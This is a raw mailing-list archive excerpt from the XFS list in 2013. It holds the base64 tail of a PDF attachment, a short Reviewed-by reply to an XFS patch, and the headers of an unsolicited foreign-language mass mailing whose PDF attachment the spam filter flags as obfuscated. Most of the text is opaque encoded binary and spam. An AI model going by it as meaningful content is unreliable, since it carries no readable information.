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 7Mj3BjPuPi3OuHA3OvRFsuhcXdyVYxmO2VV32qVUbux/dfO4M63io7VTf1hLpxPyfwAvaBuLDQpl bmRzdHJlYW0NCmVuZG9iag0KOTAgMCBvYmoNClsgM1sgMjc4IDMzM10gIDExWyAzMzNdICAxNVsg Mjc4XSAgMTdbIDI3OF0gIDE5WyA1NTYgNTU2XSAgMjJbIDU1NiA1NTYgNTU2XSAgMjZbIDU1Nl0g IDI4WyA1NTZdICAzOVsgNzIyIDY2NyA2MTEgNzc4IDcyMiAyNzhdICA0OVsgNzIyXSAgNTNbIDcy MiA2NjcgNjExIDcyMl0gIDE4OFsgNTU2XSBdIA0KZW5kb2JqDQo5MSAwIG9iag0KPDwvVHlwZS9Y UmVmL1NpemUgOTEvV1sgMSA0IDJdIC9Sb290IDEgMCBSL0luZm8gNzYgMCBSL0lEWzw0NzgwNTE1 RUVCMUMwMjQzQUJEQUIwNzhFNTY1QzY3QT48NDc4MDUxNUVFQjFDMDI0M0FCREFCMDc4RTU2NUM2 N0E+XSAvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCAzMDQ+Pg0Kc3RyZWFtDQp4nCXRTyiDcRjA 8d+G5qJwwdFVdpIc5mAyB6FmvP5bsTK1wzvb1JYZGxM7THnLirUc7ODAYQfFhYvCzUk5SBwnJ+Vk 9n6f3+H59PTU83t6HqWqr1KxVGOTUiajQhpq+qEhBc0eCEmW0GBrDZI6pNywPQw7dshKzXAKcaFk YnGvwlir8AeeAoxvwkQ3aA7hGyaFqRxM78FMD8zahReYu4f5QcEHC0oYAq9TiMLSgPAByxfgH4GA zBm4Aj0JwXYIlyGSgagm/ED8Fja8kOwQHiBtwG4X7MsKMnnI+uHABofPYAQh1yu8wkkR8i44bRQu 4SwGxTYo/cLTCrzJ7+UbE2tLAnSOYw3SzBo6h/AxRPrgcV04Mql1dArvJnVfn0LFxLZYEK7Bxx3q XXdK/QPR31eEDQplbmRzdHJlYW0NCmVuZG9iag0KeHJlZg0KMCA5Mg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDE3IDAwMDAwIG4NCjAwMDAwMDAwNzggMDAwMDAgbg0KMDAwMDAwMDEzNCAw MDAwMCBuDQowMDAwMDAwODM0IDAwMDAwIG4NCjAwMDAwMDM0NTkgMDAwMDAgbg0KMDAwMDAwNDY5 MSAwMDAwMCBuDQowMDAwMDI5NTcxIDAwMDAwIG4NCjAwMDAwMzI1OTggMDAwMDAgbg0KMDAwMDAz MzE0MiAwMDAwMCBuDQowMDAwMDMzMzkyIDAwMDAwIG4NCjAwMDAwMzM2MTcgMDAwMDAgbg0KMDAw MDAzMzg2OCAwMDAwMCBuDQowMDAwMDM0MDkzIDAwMDAwIG4NCjAwMDAwMzY3MjAgMDAwMDAgbg0K MDAwMDAzNzk1MyAwMDAwMCBuDQowMDAwMDM4MDEzIDAwMDAwIG4NCjAwMDAwMzgwNjcgMDAwMDAg bg0KMDAwMDA4NjM4NiAwMDAwMCBuDQowMDAwMDg2NTUyIDAwMDAwIG4NCjAwMDAwODY3ODIgMDAw MDAgbg0KMDAwMDA4Njk0MyAwMDAwMCBuDQowMDAwMDg3MTY4IDAwMDAwIG4NCjAwMDAwODczNDkg MDAwMDAgbg0KMDAwMDA4NzYxMSAwMDAwMCBuDQowMDAwMDg3NzkxIDAwMDAwIG4NCjAwMDAwODgw NDcgMDAwMDAgbg0KMDAwMDA4ODIxNiAwMDAwMCBuDQowMDAwMDg4NDU3IDAwMDAwIG4NCjAwMDAw ODg2MzEgMDAwMDAgbg0KMDAwMDA4ODg3NyAwMDAwMCBuDQowMDAwMDg5MDQ4IDAwMDAwIG4NCjAw MDAwODkyODYgMDAwMDAgbg0KMDAwMDA4OTQxNCAwMDAwMCBuDQowMDAwMDg5NDQ0IDAwMDAwIG4N CjAwMDAwODk2MDAgMDAwMDAgbg0KMDAwMDA4OTY3NCAwMDAwMCBuDQowMDAwMDg5OTIxIDAwMDAw IG4NCjAwMDAwODk5NzcgMDAwMDAgbg0KMDAwMDA5MDk0OCAwMDAwMCBuDQowMDAwMDkxMTA3IDAw MDAwIG4NCjAwMDAwOTIwNzggMDAwMDAgbg0KMDAwMDA5MjIzNyAwMDAwMCBuDQowMDAwMDkzMjA4 IDAwMDAwIG4NCjAwMDAwOTMzNjcgMDAwMDAgbg0KMDAwMDA5NDMzOCAwMDAwMCBuDQowMDAwMDk0 NDk3IDAwMDAwIG4NCjAwMDAwOTU0NjggMDAwMDAgbg0KMDAwMDA5NTYyNyAwMDAwMCBuDQowMDAw MDk2NTk4IDAwMDAwIG4NCjAwMDAwOTY3NTcgMDAwMDAgbg0KMDAwMDA5NzcyOCAwMDAwMCBuDQow MDAwMDk3ODg3IDAwMDAwIG4NCjAwMDAwOTg4NTggMDAwMDAgbg0KMDAwMDA5OTAxNyAwMDAwMCBu DQowMDAwMDk5OTg4IDAwMDAwIG4NCjAwMDAxMDAxNDcgMDAwMDAgbg0KMDAwMDEwMTExOCAwMDAw MCBuDQowMDAwMTAxMjc3IDAwMDAwIG4NCjAwMDAxMDIyNDggMDAwMDAgbg0KMDAwMDEwMjQwNyAw MDAwMCBuDQowMDAwMTAzMzc4IDAwMDAwIG4NCjAwMDAxMDM1MzcgMDAwMDAgbg0KMDAwMDEwNDUw OCAwMDAwMCBuDQowMDAwMTA0NjY3IDAwMDAwIG4NCjAwMDAxMDU2MzggMDAwMDAgbg0KMDAwMDEw NTc5NyAwMDAwMCBuDQowMDAwMTA2NzY4IDAwMDAwIG4NCjAwMDAxMDY5MjcgMDAwMDAgbg0KMDAw MDEwNzg5OCAwMDAwMCBuDQowMDAwMTA4MDU3IDAwMDAwIG4NCjAwMDAxMTE2MDggMDAwMDAgbg0K MDAwMDExNzYwOSAwMDAwMCBuDQowMDAwMTIyNzcyIDAwMDAwIG4NCjAwMDAxMjYxMzkgMDAwMDAg bg0KMDAwMDEzNzA4NyAwMDAwMCBuDQowMDAwMTU5OTIzIDAwMDAwIG4NCjAwMDAxNjAwNjkgMDAw MDAgbg0KMDAwMDE2MDY4MiAwMDAwMCBuDQowMDAwMTYwOTIzIDAwMDAwIG4NCjAwMDAxNjEwODgg MDAwMDAgbg0KMDAwMDE4MjkwOCAwMDAwMCBuDQowMDAwMTgyOTM1IDAwMDAwIG4NCjAwMDAyNzcy OTIgMDAwMDAgbg0KMDAwMDI3NzQ3MyAwMDAwMCBuDQowMDAwMzg4NTgwIDAwMDAwIG4NCjAwMDAz ODg2MDcgMDAwMDAgbg0KMDAwMDQ4Mzk5OSAwMDAwMCBuDQowMDAwNDg0MDI2IDAwMDAwIG4NCjAw MDA0ODQ0MjIgMDAwMDAgbg0KMDAwMDU0MjE0NSAwMDAwMCBuDQowMDAwNTQyMzM2IDAwMDAwIG4N CnRyYWlsZXINCjw8L1NpemUgOTIvUm9vdCAxIDAgUi9JbmZvIDc2IDAgUi9JRFs8NDc4MDUxNUVF QjFDMDI0M0FCREFCMDc4RTU2NUM2N0E+PDQ3ODA1MTVFRUIxQzAyNDNBQkRBQjA3OEU1NjVDNjdB Pl0gPj4NCnN0YXJ0eHJlZg0KNTQyODQxDQolJUVPRg0KeHJlZg0KMCAwDQp0cmFpbGVyDQo8PC9T aXplIDkyL1Jvb3QgMSAwIFIvSW5mbyA3NiAwIFIvSURbPDQ3ODA1MTVFRUIxQzAyNDNBQkRBQjA3 OEU1NjVDNjdBPjw0NzgwNTE1RUVCMUMwMjQzQUJEQUIwNzhFNTY1QzY3QT5dIC9QcmV2IDU0Mjg0 MS9YUmVmU3RtIDU0MjMzNj4+DQpzdGFydHhyZWYNCjU0NDgzOQ0KJSVFT0Y= ------=_20131203203221_37283-- From david@fromorbit.com Tue Dec 3 18:49:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E3127F3F for ; Tue, 3 Dec 2013 18:49:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 280288F8039 for ; Tue, 3 Dec 2013 16:49:06 -0800 (PST) X-ASG-Debug-ID: 1386118144-04bdf06eef4ec720001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ipe7am7obS5mNXTx for ; Tue, 03 Dec 2013 16:49:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloHADp7nlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiADBSRcWjmgHhDMDmBOSFIFrgVIo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 11:19:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo0eE-0002eR-Bu; Wed, 04 Dec 2013 11:49:02 +1100 Date: Wed, 4 Dec 2013 11:49:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/10] xfs: remove the quotaoff log format from the quotaoff log item Message-ID: <20131204004902.GI10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/10] xfs: remove the quotaoff log format from the quotaoff log item References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.876552429@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.876552429@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386118144 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142822 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:29AM -0800, Christoph Hellwig wrote: > This one doesn't save a whole lot of memory, but still makes the code > simpler. > > Signed-off-by: Christoph Hellwig Looks good, Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From admin@salavat-elite.ru Wed Dec 4 02:37:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 465D17F4E for ; Wed, 4 Dec 2013 02:37:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29A5E304092 for ; Wed, 4 Dec 2013 00:37:15 -0800 (PST) X-ASG-Debug-ID: 1386146231-04cbb041674f9200001-NocioJ Received: from s14.cishost.ru (s14.cishost.ru [31.41.40.14]) by cuda.sgi.com with ESMTP id 76Ry3dfDpxC1u2Q4 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Wed, 04 Dec 2013 00:37:13 -0800 (PST) X-Barracuda-Envelope-From: admin@salavat-elite.ru X-Barracuda-Apparent-Source-IP: 31.41.40.14 Received: from 60-248-16-111.hinet-ip.hinet.net ([60.248.16.111] helo=Unknown) by s14.cishost.ru with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256) (Exim 4.80) (envelope-from ) id 1Vo7wo-0002bi-U5; Wed, 04 Dec 2013 12:36:53 +0400 Message-ID: <49173D4BC9694B98ADE4591485F5121D@juri> Reply-To: =?windows-1251?B?0+/w4OLr5e3o5SDv7iDj8ODk7vHy8O7o8uXr?= =?windows-1251?B?/PHy4vMg6CDg8PXo8uXq8vPw5Q==?= From: =?windows-1251?B?0+/w4OLr5e3o5SDv7iDj8ODk7vHy8O7o8uXr?= =?windows-1251?B?/PHy4vMg6CDg8PXo8uXq8vPw5Q==?= To: , , , , Subject: =?windows-1251?B?xOv/IMPr4OLt7uPuIOjt5uXt5fDgIO/uIOrg?= =?windows-1251?B?7+jy4Ov87e7s8yDx8vDu6PLl6/zx8uLz?= Date: Wed, 4 Dec 2013 09:37:14 +0100 X-ASG-Orig-Subj: =?windows-1251?B?xOv/IMPr4OLt7uPuIOjt5uXt5fDgIO/uIOrg?= =?windows-1251?B?7+jy4Ov87e7s8yDx8vDu6PLl6/zx8uLz?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0927_01CEF0D4.69E76B30" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 Sender: 